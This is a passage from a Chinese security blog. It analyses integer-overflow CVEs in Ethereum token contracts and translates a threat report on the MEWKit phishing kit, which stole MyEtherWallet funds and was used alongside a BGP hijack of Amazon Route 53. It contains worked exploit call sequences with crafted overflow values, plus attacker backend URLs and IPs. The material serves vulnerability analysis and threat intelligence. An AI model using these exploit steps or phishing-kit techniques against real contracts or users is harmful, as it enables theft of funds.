恒成立,因为有着断言代码:1assert(PRESALE_TOKEN_SUPPLY_LIMIT==60000000 * (1 ether / 1 wei));所以,
presaleSoldTokens <= 60000000 * (1 ether / 1 wei)
,其中1 ether / 1 wei = 1000000000000000000
,所以max(presaleSoldTokens) == 6*(10^25)
再来看看变量
newTokens
,该变量的值取决于用户输出,是用户可控变量,相关代码如下:12uint newTokens = msg.value * PRESALE_PRICE;uint public constant PRESALE_PRICE = 30000;如果我们向
buyTokensPresale
函数转账1 ether,newTokens
的值为1000000000000000000*30000=3*(10^22)
下面来计算一下,需要向该函数转账多少以太币,才能造成溢出
在以太坊智能合约中,
uint
默认代表的是uint256
,取值范围是0~2^256-1
,所以,需要newTokens
的值大于(2^256-1)-presaleSoldTokens
。最后计算出,我们需要向
buyTokensPresale
函数转账:12>>> (2**256-1)-(6*(10**25))/(3*(10**22))115792089237316195423570985008687907853269984665640564039457584007913129637935L才可以造成整型上溢出,超额购币,整个以太坊公链,发展至今,以太币总余额有达到这个数吗?
虽然理论上该合约的确存在漏洞,但是实际却无法利用该漏洞
2. CVE-2018-11810
该类漏洞被称为:“超额定向分配”
相关事例( LGO )源码:https://etherscan.io/address/0x123ab195dd38b1b40510d467a6a359b201af056f#code
根据该漏洞的描述:
管理员绕过合约中规定的单地址发币上限,给指定地址分配超额的token
跟上一个漏洞相比,因为该漏洞存在于
onlyOwner
的函数中,只能Owner(管理员)才能调用该漏洞,所以我认为该类漏洞可以算做是“后门“类漏洞。所以该类漏洞的利用有两个思路:
- Owner留下来的“后门”,供自己使用,专门用来坑合约的其他使用者(所谓的”蜜罐合约“,就是这种情况)
- 该合约有其他漏洞,能让自己成为Owener,或者可以说,结合提权漏洞进行利用
首先,我们先假设自己就是Owner,来研究该漏洞的利用流程,以下是存在漏洞的函数:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647function allocate(address _address, uint256 _amount, uint8 _type) public onlyOwner returns (bool success) {// one allocations by addressrequire(allocations[_address] == 0);if (_type == 0) { // advisor// check allocated amountrequire(advisorsAllocatedAmount + _amount <= ADVISORS_AMOUNT);// increase allocated amountadvisorsAllocatedAmount += _amount;// mark address as advisoradvisors[_address] = true;} else if (_type == 1) { // founder// check allocated amountrequire(foundersAllocatedAmount + _amount <= FOUNDERS_AMOUNT);// increase allocated amountfoundersAllocatedAmount += _amount;// mark address as founderfounders[_address] = true;} else {// check allocated amountrequire(holdersAllocatedAmount + _amount <= HOLDERS_AMOUNT + RESERVE_AMOUNT);// increase allocated amountholdersAllocatedAmount += _amount;}// set allocationallocations[_address] = _amount;initialAllocations[_address] = _amount;// increase balancebalances[_address] += _amount;// update variables for bonus distributionfor (uint8 i = 0; i < 4; i++) {// increase unspent amountunspentAmounts[BONUS_DATES[i]] += _amount;// initialize bonus eligibilityeligibleForBonus[BONUS_DATES[i]][_address] = true;bonusNotDistributed[BONUS_DATES[i]][_address] = true;}// add to initial holders listinitialHolders.push(_address);Allocate(_address, _amount);return true;}该合约相当于一个代币分配的协议,Owner可以随意给人分配代币,但是不能超过如下的限制:
代币的总额:
uint256 constant INITIAL_AMOUNT = 100 * onePercent;
给顾问5%:uint256 constant ADVISORS_AMOUNT = 5 * onePercent;
创始人要15%:uint256 constant FOUNDERS_AMOUNT = 15 * onePercent;
销售出了60%:uint256 constant HOLDERS_AMOUNT = 60 * onePercent;
保留了20%:uint256 constant RESERVE_AMOUNT = 20 * onePercent;
对应到下面三个判断:
123require(advisorsAllocatedAmount + _amount <= ADVISORS_AMOUNT);require(foundersAllocatedAmount + _amount <= FOUNDERS_AMOUNT);require(holdersAllocatedAmount + _amount <= HOLDERS_AMOUNT + RESERVE_AMOUNT);跟上一个CVE一样,该漏洞本质上也是整型上溢出,但是上一个漏洞,用户可控的变量来至于向合约转账的以太币的数值,所以在实际情况中,基本不可能利用。但是在该漏洞中,用户可控的变量
_amount
,是由用户任意输入,使得该漏洞得以实现下面,利用漏洞给顾问分配超过5%的代币:
- 给顾问A分配
2*onePercent
数量的代币:allocte("0xbd08e0cddec097db7901ea819a3d1fd9de8951a2", 362830104000000, 0)
- 给顾问B分配一个巨大数量的代币,导致溢出:
allocte("0x63ac545c991243fa18aec41d4f6f598e555015dc", 115792089237316195423570985008687907853269984665640564039457583645083025639937, 0)
- 查看顾问B的代币数:
balanceOf("0x63ac545c991243fa18aec41d4f6f598e555015dc") => 115792089237316195423570985008687907853269984665640564039457583645083025639937
经过后续的审计,发现该合约代码中的
own
变量只能由Owner修改,所以该漏洞只能被Owner利用3. CVE-2018-11809
该漏洞被称为:”超额铸币“,但实际和之前的漏洞没啥区别
含有该漏洞的合约Playkey (PKT)源码:https://etherscan.io/address/0x2604fa406be957e542beb89e6754fcde6815e83f#code
存在漏洞的函数:
123456789function mint(address _holder, uint256 _value) external icoOnly {require(_holder != address(0));require(_value != 0);require(totalSupply + _value <= tokenLimit);balances[_holder] += _value;totalSupply += _value;Transfer(0x0, _holder, _value);}比上一个漏洞的代码还更简单,只有ico(相当于之前的owner)能执行该函数,阅读全篇代码,ico是在合约部署的时候由创建人设置的,后续无法更改,所以该漏洞只能被ico(owner)利用
该合约本身的意图是,ico能随意给人分配代币,但是发行代币的总额度不能超过
tokenLimit
,但是通过整型上溢出漏洞,能让ico发行无限个代币,利用流程如下:- 部署合约,设置ico为自己账户地址,设置发行代币的上限为100000:
PTK("0x8a0b358029b81a52487acfc776fecca3ce2fbf4b", 100000)
- 给账户A分配一定额度的代币:
mint("0xbd08e0cddec097db7901ea819a3d1fd9de8951a2", 50000)
- 利用整型上溢出给账户B分配大量的代币:
mint("0x63ac545c991243fa18aec41d4f6f598e555015dc", 115792089237316195423570985008687907853269984665640564039457584007913129589938)
- 查看账户B的余额:
balanceOf("0x63ac545c991243fa18aec41d4f6f598e555015dc") => 115792089237316195423570985008687907853269984665640564039457584007913129589938
4. CVE-2018-11812
该漏洞被称为:“随意铸币”
相关漏洞合约 Polymath (POLY)源码:https://etherscan.io/address/0x9992ec3cf6a55b00978cddf2b27bc6882d88d1ec#code
具有漏洞的函数:
12345function mintToken(address target, uint256 mintedAmount) onlyOwner {balanceOf[target] += mintedAmount;Transfer(0, owner, mintedAmount);Transfer(owner, target, mintedAmount);}这个漏洞很简单,也很好理解,Owner可以随意增加任意账户的代币余额,可以想象成,银行不仅能随心所欲的印钞票,还能随心所以的扣你的钱
因为Owner是在合约部署的时候被设置成合约部署者的账户地址,之后也只有Owner能修改Own账户地址,所以该漏洞只能被Owner利用
这个我觉得与其说是漏洞,不如说是Owner留下的“后门”
5. CVE-2018-11687
该漏洞被称为:“下溢增持”
相关漏洞合约Bitcoin Red (BTCR)源码:https://etherscan.io/address/0x6aac8cb9861e42bf8259f5abdc6ae3ae89909e11#code
相关的漏洞函数:
1234567function distributeBTR(address[] addresses) onlyOwner {for (uint i = 0; i < addresses.length; i++) {balances[owner] -= 2000 * 10**8;balances[addresses[i]] += 2000 * 10**8;Transfer(owner, addresses[i], 2000 * 10**8);}}该合约限制了发行代币的上限:
uint256 _totalSupply = 21000000 * 10**8;
并且在合约部署的时候把能发行的合约都分配给了Owner:
balances[owner] = 21000000 * 10**8;
然后Owner可以把自己账户的代币,任意分配给其他账户,分配的代码就是上面的函数,给别人分配一定额度的代币时,自己减去相应额度的代币,保证该合约总代币数不变
但是因为没有判断Owner的账户是否有足够的余额,所以导致了减法的整型下溢出,同样也存在整型上溢出,但是因为uint256的上限是
2^256-1
,但是利用过于繁琐,需要运行非常多次的balances[addresses[i]] += 2000 * 10**8;
而减法的利用就很简单了,或者我们可以根本不考虑这个减法,Owner可以给任意账户分配
2000 * 10**8
倍数的代币,该漏洞的功能和上一个漏洞的基本一致,可以任意发行代币或者减少其他账户的代币数因为Owner是在合约部署的时候被设置为部署合约人的账户地址,后续没有修改own的功能,所以该漏洞也只有Owner可以利用
6. CVE-2018-11811
该漏洞被称为:“高卖低收”
相关漏洞合约 Internet Node Token (INT)源码:https://etherscan.io/address/0x0b76544f6c413a555f309bf76260d1e02377c02a
在该CVE的描述中,存在漏洞的函数是:
12345function sell(uint256 amount) {require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy_transfer(msg.sender, this, amount); // makes the transfersmsg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks}并且描述的漏洞原理是:
sellPrice被修改为精心构造的大数后,可导致amount * sellPrice的结果大于整数变量(uint256)最大值,发生整数溢出,从而变为一个极小值甚至归零`
相关函数如下:
123456789function buy() payable {uint amount = msg.value / buyPrice; // calculates the amount_transfer(this, msg.sender, amount); // makes the transfers}function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {sellPrice = newSellPrice;buyPrice = newBuyPrice;}该漏洞的利用流程如下:
- 管理员设置
buyPrice = 1 ether
,sellPrice = 2^255
- 用户A买了两个以太币价格的代币: buy({value:toWei(2)})
- 用户A卖掉两个代币: send(2)
- 用户A将会收到
2*sellPrice = 2^256
价格的Wei - 但是因为
transfer
的参数是uint256, 所以发生了溢出,用户A实际得到0Wei
表面上看这个漏洞还是有危害的,但是我们仔细想想,这个漏洞其实是比较多余的,我们可以使用更简单的步骤达到相同的目的:
- 管理员设置
buyPrice = 1 ether
,sellPrice = 0
- 用户A买了两个以太币价格的代币: buy({value:toWei(2)})
- 用户A卖掉两个代币: send(2)
- 用户A将会收到
2*sellPrice = 0
价格的Wei
我认为该合约最大的问题在于Owner可以随意设置代币的买入和卖出价格。
顺带提一下这个问题也是前面peckshield公布的“tradeTrap”漏洞(https://peckshield.com/2018/06/11/tradeTrap/)提到的“Security Issue 2: Manipulatable Prices and Unfair Arbitrage” 是同一个问题。
总结
经过上面的分析,在这6个CVE中,虽然都是整型溢出,但第一个CVE属于理论存在,但实际不可实现的整型上溢出漏洞,剩下5个CVE都属于对管理者有利,会损害用户利用的漏洞,或者可以称为“后门”,也正是这个原因也导致了一些关于需要Owner触发漏洞意义讨论[2]
如果我们把智能合约类比为传统合同,智能合约代码就是传统合同的内容,但是和传统的合同相比,智能合约拥有三个利益团体,一个是编写合约代码的人(智能合约中的Owner,或者我们可以称为甲方),使用该合约的其他人(我们可以称为乙方),跟该智能合约无关的其他人(比如利用合约漏洞获利的黑客)。从这个角度来看Owner条件下触发的漏洞在理论上是可以损害到乙方的利益,如对于存在“恶意”的owner或者黑客配合其他漏洞获取到owner权限的场景上来说,还是有一定意义的。
另外从整个上市交易流程来看,我们还需要关注到“交易所”这个环节,交易所的风控体系在某种程度上可以限制这种“恶意”的owner或黑客利用。
由此可见合约审计对于“甲方”、“乙方”、交易所都有重要的意义。
知道创宇智能合约安全审计:http://www.scanv.com/lca/index.html
欢迎扫码咨询:
参考链接
-
MEWKit: Cryptotheft 的最新武器
译者:知道创宇安全服务团队、404区块链安全团队
[PDF版本下载]介绍
当谈到加密货币时,会联想到加密货币巨大的价格波动,交易违约、赎金勒索的情况以及许多不同种类的货币。虚拟货币自兴起以来,就一直受到罪犯无情地攻击,许多人都希望能从中获取利益。在此威胁报告中,我们将重点关注Ethereum,也称为“以太”,以及它与名为MyEtherWallet(MEW)的在线服务的关系,该服务是网络钓鱼自动传输系统(ATS)MEWKit的目标。
MEWkit的突出之处在于它远不止传统的网络钓鱼套件那样,除了是一个以窃取凭证为目的的模仿MyEtherWallet前端的网站以外,它也是一个客户端 ,可以处理钓鱼页面捕获的付款细节以转出资金,将资金从钓鱼受害者以太坊钱包直接寄给攻击者控制的钱包。
本报告详细阐述了MEWKit功能,背景以及过去和现在的一系列行为活动,并对2018年4月24日发生的一件重大事件作一些说明。那就是在亚马逊DNS服务器上执行边界网关协议(BGP)劫持攻击,将用户从官方的MyEtherWallet网站重新路由到运行MEWKit的主机。
理解犯罪:理解目标
MyEtherWallet不像其他加密货币交易所和交易平台,它没有内部账户。一个典型的交易所像银行一样运作 ,用户通过创建一个账户来实现资金转入和转出。 通过这种方式,交易所就有了添加了增加了额外安全措施的用户钱包的关键词。 这些银行和交易所也能够执行分析以查看什么设备正在用于登录,并知道从那里登录。
另一方面,MyEtherWallet取消了用户拥有账户的中间步骤,并为用户提供了一个钱包允许他们直接与以太坊网络进行互动。 这种访问使MyEtherWallet变得非常透明,但没有大多数银行和交易所的附加安全层面也造成一些重大风险问题,并使其成为攻击的主要目标。
一旦MEWKit受害者认为他们正在与官方互动,钓鱼攻击就成功了。MyEtherWallet网站的资金可直接转给攻击者。 因此,我们说MEWKit是专门为MyEtherWallet制作的网络钓鱼ATS。
MEWKit 技术分析
MEWKit由两部分组成:一个模仿MyEtherWallet站点的钓鱼页面和一个处理日志的服务器端,攻击者一旦进行网络钓鱼就会将受害者的钱包里面的资金转移至攻击者指定的地点。 典型的钓鱼网页通常会重定向到网站的合法版本,这样受害者可以再次登录,MEWKit只是通过受害者的浏览器,使用MyEtherWallet对以太坊的独特访问权限,在后台进行交易。
MEWKit被其开发者称为自动传输系统,因为它捕捉到的任何钓鱼信息都会立即用于从受害者的钱包中转移资金。ATS恶意软件运营的概念来源于它的恶意软件操作,它将脚本注入金融网站上的活动网络会话中,以便将资金从受害者账户中转出,并在被感染的电脑上利用受害者登陆的账户在短时间内无形地自动完成转帐。
一旦用户登录,MEWKit就会检查他们的钱包余额并从服务器端请求接收者地址。然后将攻击者的拥有的钱包设置为接收者地址,利用正常的MyEtherWallet功能转移受害者的全部余额。
MEWKit 钓鱼页面
由于MyEtherWallet完全在客户端运行,并且可以脱机运行,因此攻击者可以下载手动构建它,这正是MEWKit的开发者所做的。MyEtherWallet源代码可以从GitHub下载:https://github.com/kvhnuke/etherwallet
MEWKit是由一个添加多个脚本的MyEtherWallet组成。 它在页面中嵌入了两个额外的JavaScript资源文件,通常命名为:sm.js和wallet.js 。它们都从合法的MyEtherWallet脚本文件路径相同的目录中加载。
wallet.js - Configuration
该脚本充当MEWKit其余部分的配置文件。 它有两个选项来设置:
js_stat
这个变量是包含后端地址的字符串,开发者称其为'admin面板' ,此变量的值用于获取转帐资金的接收地址和发送页面上发生的所有事件的日志。
user_in_page
虽然变量名称有些模糊,但它只是用来标记启用或关闭日志记录的, 1表示启用日志记录,0表示无日志记录。
sm.js - Core
该脚本包含MEWKit的功能部分,并挂接到MyEtherWallet的源代码中。该脚本顶部包含一组全局变量:
____pwd
包含受害者的钱包中的助记符短语或密码/密钥库JSON文件内容。
ikey
目前尚未在我们观察到的任何MEWKit版本中使用。它会在所有的回调中发送到后端,但是除了初始值“none”以外,没有被设置其他值。
txt_ua
包含受害者的用户代理,并调用navigator.userAgent
send_block_flg
包含一个二进制0或1标志。一旦受害者解密他们的钱包,ATS就会将
send_block_flg
设置为0并开始将可用余额转账。标志位为1的话,不会启动任何交易而且会阻止任何正进行的交易。balance
一旦用户登录到MEWKit钓鱼网站,将显用户钱包中的可用余额页面。
eth_recipient
包含攻击者控制的用来转移盗取资金的接收地址。
balance_block_flg
包含一个二进制0或1标志。一旦受害者解密他们的钱包,ATS就会将balance_block_flg设置为0,开始检查受害者钱包中的可用余额。
count_flg
包含一个二进制0或1标志。标志设置为1,会触发假倒计时MEWKit页面。当MEWKit开始获取钱包凭证的时候开始转移可用余额。
在这些全局变量之后,该脚本包含一组用于进行钓鱼和自动化资金转账的功能。我们不会具体解释每一个功能,但我们会显示套件的执行流程。
MEWKit 挂钩在 MyEtherWallet 源码中
MEWKit挂钩了MyEtherWallet的正常功能,我们将逐个浏览它所放置的钩子。MEWKit首次出现在MyEtherWallet源码中主页的
<header>
部分。 已经添加了两个MEWKit脚本和一个jQuery脚本:下图,我们将在
<body>
标记中找到来自MEWKit的函数调用:该功能禁用一个用户的常见功能,即查看他们的钱包信息和余额。它还确保启动事务按钮将禁用页面上的任何其他按钮,确保用户不能去其他地方。
下一个MEWKit函数调用可以在主体中看到:
该功能保证欢迎消息能正确地更新,它通常显示的内容为“MyEtherWallet.com” 。因为钓鱼页面的域名不总是与MyEtherWallet.com近似,有时是Ethereum及其变种单词,这个函数调用确保窗口标题和页面信息与用户正在访问的网站相匹配。攻击者不必为他们设置的每个页面更改构建。
MEWKit的下一个函数被挂接到允许访问者看到钱包余额的按钮上:
此功能将在用户点击钱包余额按钮时执行,并重定向用到资金转移处,MyEtherWallet代码提供资金转移功能,这样MEWKit可以进行它所需要的交易。
另外,MEWKit将改变MyEtherWallet页面上的正常视觉效果。 通常情况下,用户所在页面的按钮会突出显示,但MEWKit会突出显示'查看电子钱包信息'按钮,当用户正在转账页面上时,“查看电子钱包信息”按钮也会将用户转到资金转移页面。 当我们访问MEWKit实例时,可以看到这种行为。注意禁用的可见性通常显示的Ether-sending头部:
从MEWKit到MyEtherWallet的最后一次插入不在HTML页面中,而是在官方源代码中文件:etherwallet-master.js。MyEtherWallet本身是使用AngularJS框架编写的,允许开发人员构建动态功能的网页而不是静态HTML页面。AngularJS允许他们对功能和元素进行模板化,从而更轻松地提供动态网站体验。
当用户为使用MyEtherWallet的钱包而解码的时候,MEWKit通过添加一个函数调用来挂钩到angular JS。放置的函数叫做PrivateKey_decryptWallet,这将在下一章讨论ATS执行流程中详细介绍。我们可以看到很不好的是javascript源文件中的钩入函数是一个Angular JS文件:
我们可以看到我们本应该查看我们的钱包信息的页面,但是实际却开始了一个事务,如前面的截图所示。 以下是MEWKit的入口获取解密的钱包的内容:
如图所示,这些功能不会自行开始传输。 上述功能只是准备对用户进行网络钓鱼攻击页面。
ATS Execution flow
当用户点击一个MEWKit页面时,它会为钓鱼和ATS功能做好准备,如上所示。后在准备工作中,每次都会执行一个函数,调出后端日志,这只会影响后端wallet.js中的user_in_page变量,将其设置为1(启用日志标注)时执行:
send_data_login_
函数在ATS的整个运行过程中使用,我们将解释它以下功能供以后参考。 MEWKit对后端执行标注的方式非常完美。有趣的是,它基于提供给函数和全局的参数构造一个URL变量。 然后将该URL作为新的脚本资源嵌入主浏览器的主页面中执行标注。 如下所示:如图所示,
send_data_login_
函数构造一个URL,然后将其放入一个新的脚本元素中,附加到文档的<head>
。 以下是执行该操作的MEWKit实例的示例:有意思的是服务器返回一个小的JavaScript片段,它设置一个名为jsess_msg的全局变量,该变量稍后与ATS功能的其余部分相关。 这是后端根据日志消息返回的内容:
这个函数有另一个版本叫做
send_data_login_pv
,因为它被修改为记录钱包到后端的私钥,这个版本的格式也可以编码和发送私钥。只有当用户上传私钥访问他们的钱包时,才会调用这个函数,密钥文件内容也被转发到后端。当受害者通过使用MyEtherWallet提供的方法解密他们的钱包时,ATS功能开始实际运作,该方法触发
PrivateKey_decryptWallet
函数的onclick事件。 这个函数遍历用户可以使用的所有不同的身份验证选项并记录用户使用了什么方法,然后它开始自动传输代码。 下面是一个对每种认证方法重复的功能:您可以看到MEWKit记录用户使用的认证方法,设置余额并将标志位设置为0并调
check_send_block
函数。在我们跳转到
check_send_block
函数之前,有一些重要的东西需要理解:这个特定的高亮示例使用send_data_login_pv
函数,该函数还会发送钱包的私钥到后端。这意味着MEWKit进行攻击后仍然可以访问受害者的钱包。 如果受害者购买更多以太币,攻击者可以继续盗取受害者的资金。这同样适用于另一种验证方法。 使用keyfile / JSON文件上传方法将文件上传到后端这也允许MEWKit攻击者继续访问受害者的钱包:
函数会将上传的文件发送到后端脚本post.php中由后端路径的js_stat配置变量作为前缀。
函数将通过查看发送功能是否可用来检查受害者是否成功验证:
这个函数会一直调用它自己,但会用标志阻塞,直到受害者可以启动交易。
然后代码跳转到
check_balance_block
函数:虽然这个功能看起来很复杂,但它所做的只是通过手动解析HTML来检查钱包的余额,一旦它可以确定一个可用余额,就会将其记录到后端,并且调用
check_valid_balance
函数:check_valid_balance
函数检查余额是否为正数。 如果不是,它会在后端记录一条消息,申明'Stop ATS'。如果检查余额为正数,它将通过调用get_address函数来继续执行流程。 这个功能与日志功能类似,它会构建并嵌入一个脚本资源URL,以便将浏览器调用到后端。 这个用于获取收件人地址的URL是静态的,只添加当前时间戳到URL的末尾。时间戳会附加到URL上,因为浏览器通常会很智能地使用它,并且如果相同的资源被追加两次,只会使用缓存的结果。 通过添加此时间戳会生成独一无二的URL,来确保后端服务器的更新响应:
LoadScript函数创建一个新的脚本元素并将URL设置为由get_address生成的URL。一旦资源被加载,它将调用
get_state_address
函数继续执行流程。get_state_address
函数是jsess_msg变量中设置的值的解析器,该变量由后端通过LoadScript函数。 消息的解析如下所示:get_state_address
通过剪切和切分字符串值响应来解析变量内容,以解析出将被盗资金转移到的接收地址。 如果消息的响应中包含[EMPTY],则MEWKit将停止处理并在日志中记录没有接收地址。 如果它能够从响应中获得地址,它将调用set_data函数,这是转移资金的最后一步。set_data函数将通过设置接收地址来准备一个事务去触发输入。并在
set_get_trans
函数排队延误之前点击传输按钮。点击转移按钮将使用户进入交易概览页面。 然后,set_get_trans
函数快速按下按钮以生成事务记录,之后它会对set_yes_mk_trans
函数进行排队,然后再确认事务。 这将启动余额转移,从而窃取受害者钱包中的可用余额。基本上,这些最后几项功能可以像合法用户那样只需按下按钮便可以自动创建,确认和开始转账。以下是我们上文提到过的MEWKit核心的所有功能:
这种以自动方式窃取以太坊的功能,和我们之前在钓鱼工具包中看到过的不一样。
MEWKit服务器端
如上所示,MEWKit的主要功能,如部分ATS,能在JavaScrip客户端中完全运行。MEWKit的后端仅用于:
- 日志存储:ATS中的每个步骤都会记录下每个受害者,并将其全部报告给后端
- 私钥和密码存储:如果用户使用助记符或密码登录,则会记录和在C2上提取并存储以供以后访问。
- 提供接收地址:将参与收件人的地址保留在后端和传送给被钓鱼的客户。
在大多数情况下,MEWKit实例的后端服务器为攻击者提供了他们正在从事的工作的概况。
MEWKit的限制:硬件钱包
虽然MyEtherWallet支持各种硬件钱包,如Trezor8,Ledger Wallet9,Digital,Bitbox10和Secalot11,但却不支持从这些钱包中获取密钥。这意味着那些在使用硬件钱包时被MEWKit钓鱼的人不会受到MEWKit的ATS的影响,但仍然需要在处理之前确认其钱包上的交易。因为硬件钱包的私钥存储在内部,因此不会暴露于MEWKit。
突发的原因不明的的交易是打击MEWKit的一个标志,当然也不会接受交易所需要采取的措施。MEWKit会记录所有尝试使用硬件钱包的登录信息,它只是无法使用其ATS功能自动进行资金转账。
活动的历史概述
以下部分概述了我们在RiskIQ数据库中集中观察到的所有数据攻击。以下各节中提到的AnyIOC也可以在本报告末尾的妥协指标(IOC)部分中找到。
请注意,我们没有描述观察到的每个MEWKit钓鱼网站,只列出了那些因各小节中描述的原因而可以进行钓鱼攻击的钓鱼网站。我们观察到的所有主机的完整列表可以在本报告结尾附近的“妥协指标”部分找到。
权限边缘之亚马逊53
4月24日11:00 UTC过后的一会儿,针对与亚马逊路由5312相关的IP空间执行了边界网关协议(BGP)劫持,该路由是亚马逊DNS供应系统。这意味着未经授权的用户可以重新将路由一部分旨在AmazonRoute 53的流量传输到自身,并将域分辨率重新路由到他们自己选择的端点。
重新路由MyEtherWallet访客
通常在亚马逊的AS16509下宣布(并维护)的以下IP块已由eNet在AS1029713下公布:
205.251.192.0/24
205.251.193.0/24
205.251.195.0/24
205.251.197.0/24
205.251.199.0/24这些IP地址是Amazon Route 53为通过此服务维护的任何域执行DNS路由的一部分。驻留在AS10297中的上述IP块的新端点开始路由预定用于路由53的一些流量并回复来自用户的DNS查询。
实际上,我们可以看到这个AS宣布的前缀相对于它通常所宣称的非常固定的一组块而言:
Source: https://bgp.he.net/AS10297
最终处理通常用于Route 53的流量的DNS服务器只设置了一个域来解决:myetherwallet.com。任何其他请求的域名都会被SERVFAIL响应,这是人们已经注意到的。新的DNS服务器响应一个新的IP地址MyEtherWallet,46.161.42.42,驻留在AS41995。根据地理位置,这台服务器来自俄罗斯。如果我们提供一些有关此AS的WHOIS信息,会发现它并不是一个好兆头。
在东欧分配一个AS,并在WHOIS中使用Gmail等免费服务的电子邮件地址通常是一个不好的迹象。我们可以从组织WHOISdetails中获得更多有关此地址的信息:
根据WHOIS信息,自2014年底以来,电子邮件地址的域名一直存在,并且其详细信息始终存在于WHOIS隐私服务之后。目前,主网站onweb-shield.biz处于离线状态,但通过查看档案数据,我们可以找到一个旧的托管公司网站:
Webshield对我们行业中的许多人来说都很熟悉,因为在他们的网站中有许多用于恶意目的的网站IP空间,其中一个例子是Rescator15。我们最感兴趣的是拥有这个AS的主机却已经关闭了它的网站托管网站,但仍然提供了托管机会。我们可以将Webshield定义为一个防弹主机。
以太劫持:通过MEWKit实现资金转账自动化
虽然对亚马逊Route 53的攻击非常复杂,但攻击者用于托管在Webshield AS上的服务器上的钓鱼站点的设置却不复杂。他们在服务器上放置的证书实际上并不是有效的证书,他们使用WHOIS隐私服务背后的myetherwallet [.]com创建了自己的自签名证书。这里是以太钱包WHOIS:
Source: https://community.riskiq.com/search/myetherwallet.com
以下是我们在使用MEWKit的Webshield主机上观察到的SSL证书:
Source: https://community.riskiq.com/search/certificate/sha1/4ee8ad8ef36d1e4461526997b78415b6dc306ee3
攻击者只需根据WHOIS详细信息生成证书,该证书由几乎任何现代Web浏览器标记。然而,人们好像还是忽略了这些警告选择了点击,即使有人报告资金被MEWKit从他们的以太钱包中撤出。
MEWKit页面本身与任何正确构建钓鱼页面一样,看起来与正常的以太钱包网站完全相同:
然而,我们在这次攻击中看到的设置与我们在正常MEWKitinstall上看到的不同。如果我们看一下文档对象模型(DOM),我们会看到正常的MEWKit脚本(顶部MEWKit,底部MyEtherWallet.com):
注意,脚本没有以任何方式混淆 ,看起来他们似乎是正确的。如果我们看看wallet.js,其中包含日志记录配置和后端位置,我们得到这个:
第一个变量将报告后端设置为
http://46.161.42.42/pind/
,第二个变量不可用日志记录。如果我们转到sm.js,我们已经可以在脚本的顶部看到添加了附加变量的一些更改:正如上面MEWKit的功能所解释的,
eth_recipient
变量与被盗资金的接收者有关。如果我们检查get_state_address
函数通常设置(单个)的eth_recipient
变量值,我们看到开发者一直在实现多个收件人地址。该代码仍然包含注释部分,开发者忘记将添加的eth_recipient_n
变量注释掉,因为它们没有被使用。该函数还包含一个注释掉的console.log调用,该调用会将消息记录到控制台。这让我们更加确定开发者正在测试用于脚本攻击的新功能。
通过这个图表,我们可以找到更多俄文评论的证据。我们翻译了所有评论,并根据所用的措辞,很可能由熟悉财务条款的俄语母语人士撰写(有关下文的更多信息)。我们将逐个评论。在他们不直接翻译成英文的情况下,我们会做出解释。
上面的文字‘проверяем доступность секции с траншем’提到在代码段中检查‘траншем’的可用性,这是一个有趣的用词和重要的发现。 该注释是关于下面的代码将通过钱包地址来获得钱包中资金的总余额的事实。 ‘траншем’这个词是‘ranche’的俄语,来自法语单词,表示交易的一部分或一部分。
第一条注释‘получаем баланс’,即’得到平衡’,第二条注释’баланс’是平衡’一词,第三条注释,’стоп работ’,意为’停止工作’,这能说得通是因为当程序检查到余额为0的时候来到了这条正确的分支,意味着ATS没有资金可以转移而程序可以停止工作了。
第一条注释,’оставить кошелек получателя’,翻译过来就是’设置收款人的钱包’,这与设置从钓鱼受害者的钱包中转移资金的交易收款人钱包地址的函数有关。第二条注释,’отправить весь баланс в эмаунт ’,翻译过来就是’将全部余额转移’。这句话中的最后一个单词’эмаунт’是拼写为西里尔文的非俄语单词。
这些注释的出现意味着脚本的作者是一个以俄语为母语并至少拥有一定财务知识的人。
结论
自事件发生以来,已经发布了很多关于这次具体攻击的具体细节,但我们决定更深入地了解到底发生了什么,并挖掘出与MEWKit相联系的额外见解。 亚马逊Route 53劫持(事件)只有一个目标。 虽然这次袭击的范围相对较小,但其范围可以更为巨大。
互联网是在几十年前创建的,并不是所有的构建模块都已经过时了 - BGP和DNS仍然是我们全球互联网中存在问题但至关重要的一部分。 与大多数网络安全问题一样,针对这些类型的攻击也有解决方案,但它们的效果取决于链中的每个人都加强安全性并部署解决方案。
IDN Phishery
几乎所有MEWKit实例都要注意的一点是攻击者利用国际化域名(IDNs)。 国际化域名攻击并不新鲜,但遗憾的是,它们在利用MEWKit的攻击中似乎非常有效。
浏览器正在迎头赶上去解决这个问题,Firefox和Chrome都实现了一个非常简单的算法来检查域名中的所有字符是否属于同一种语言。 如果不是,则显示以'xn--'开头的IDNA符号。 这个过滤器确实可以防止MEWKit的大量攻击,因为攻击者们使用来自西里尔文,希腊文,亚美尼亚文和希伯来文的特殊语言字符来替换带有特殊字符变体的字母。
当然,那些仍然会通过这些过滤器,我们希望在MyEtherWallet交易的每个人时保持小心。 请密切关注您打开的是哪个网址,最好是使用MyEtherWallet的书签页或自己输入域名。 不要使用来源于电子邮件,社交媒体的链接。
不同之处
MEWKit战役中使用的大多数域和主机都使用非常特定的格式来模仿MyEtherWallet。 然而一个运行MEWKit的主机却不一样,经过仔细检查后发现其运行了一些令人好奇的脚本。 有问题的主机是tikkiepayment.info,托管在31.31.196.186。 4月9日,MEWKit实例被托管在
myyetherwallett.com/myether/
,它从以下位置加载它的MEWKit脚本:12myyetherwallett.com/myether/js/wallet.jsmyyetherwallett.com/myether/js/sm.js其后台地址在 wallet.js 脚本中被设置为 https://tikkiepayment.info/showpanel/ ,wallet.js 中还包含着解释变量的注释:
我们还发现位于同一主机上其他MEWKit的后台路径地址:
123https://tikkiepayment.info/pp/https://tikkiepayment.info/mycryptopanel/https://tikkiepayment.info/showpanel/如果我们检查一下主机tikkiepayment.info,我们发现一些之前从来没有在其他MEWKit实例中见到过的奇怪的东西:它为攻击者运行着与MEWKit无关的基于web的工具。在 https://tikkiepayment.info/pv/ 上,托管着一个允许攻击者使用MyEtherWallet API来批量检查Ethereum keys的工具:
尽管网络犯罪中窃贼之间通常不存在荣誉,但该工具是其他人可以使用的精简版MyEtherWallet,它检查帐户是否有效并且有一些余额。根据服务器上存在的工具以及它是我们曾经观察过MEWKit上的第一台主机的事实,我们认为这台主机是由MEWKit的创建者设置的。此外,根据本报告底部IOC部分显示的注册信息,域名会在任何MEWKit主机设置之前一个月进行登记。
走出以太坊
